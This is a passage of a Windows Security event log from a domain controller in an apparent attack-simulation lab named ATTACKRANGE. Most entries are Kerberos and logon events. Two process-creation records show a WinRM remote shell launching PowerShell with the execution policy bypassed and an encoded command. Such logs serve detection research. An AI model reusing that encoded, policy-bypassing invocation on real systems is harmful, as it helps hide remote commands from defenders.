TaskCategory=Logoff
OpCode=Info
RecordNumber=253869
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63B8D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253868
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63CA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253867
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x63CA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253866
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63CA0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253865
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Target Server:
	Target Server Name:	win-dc-725$
	Additional Information:	win-dc-725$

Process Information:
	Process ID:		0x1168
	Process Name:		C:\Windows\System32\taskhostw.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253864
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253863
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	ATTACKRANGE.LOCAL
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253862
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x63B8D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49717

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253861
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63B8D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253860
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x623C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253859
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x623C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49716

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253858
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x623C3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253857
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x622F0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253856
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x622F0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49715

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253855
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x622F0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253854
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6201C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253853
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6201C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253852
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253851
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253850
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253849
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x61DDE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49714

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253848
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x61DDE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253847
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x125c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1248
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253846
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6084F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11d4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253845
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x61691

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253844
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x61691
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3D6A7E32-1CD1-F954-3946-705F91FAB270}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253843
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
